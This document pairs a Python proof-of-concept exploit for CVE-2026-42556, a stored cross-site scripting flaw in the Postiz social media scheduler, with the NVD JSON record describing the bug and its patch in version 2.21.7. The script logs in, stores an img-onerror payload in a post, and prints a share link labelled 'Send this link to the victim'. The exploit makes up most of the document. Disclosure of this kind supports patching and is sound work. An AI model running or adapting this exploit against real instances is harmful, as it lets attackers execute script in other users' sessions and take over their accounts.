CVE-2026-42556

import requests # Target configuration target_host = "https://example.com" login_endpoint = f"{target_host}/api/auth/login" post_endpoint = f"{target_host}/api/posts" # Attacker credentials username = "[email protected]" password = "password123" # Malicious payload to be stored and executed # Using an img tag for execution often bypasses simple filters, but description says arbitrary HTML is allowed. xss_payload = '<img src=x onerror=alert(\"CVE-2026-42556-XSS\")>' # 1. Login to get session session = requests.Session() login_data = {"email": username, "password": password} login_resp = session.post(login_endpoint, json=login_data) if login_resp.status_code == 200: print("[+] Logged in successfully") # 2. Create a post with tampered content # Intercepting the save request to inject arbitrary HTML post_data = { "content": xss_payload, "providerIds": [], "date": "2026-05-08T12:00:00.000Z" } create_resp = session.post(post_endpoint, json=post_data) if create_resp.status_code == 200: post_id = create_resp.json().get('id') print(f"[+] Post created with ID: {post_id}") # 3. Generate the vulnerable preview link preview_link = f"{target_host}/p/{post_id}?share=true" print(f"[+] Send this link to the victim: {preview_link}") print("[+] When the victim opens the link, the XSS payload will execute.") else: print("[-] Failed to create post") else: print("[-] Login failed")

{"cve": {"id": "CVE-2026-42556", "sourceIdentifier": "[email protected]", "published": "2026-05-08T23:16:39.373", "lastModified": "2026-05-08T23:16:39.373", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Postiz is an AI social media scheduling tool. From version 2.21.6 to before version 2.21.7, any authenticated user who can create a post can store arbitrary HTML in post content by tampering their own save request and send the public preview link /p/<postId>?share=true to another user. The preview page renders that stored HTML with dangerouslySetInnerHTML on the main application origin. This issue has been patched in version 2.21.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/gitroomhq/postiz-app/releases/tag/v2.21.7", "source": "[email protected]"}, {"url": "https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-hhxq-3wg7-4rj8", "source": "[email protected]"}]}}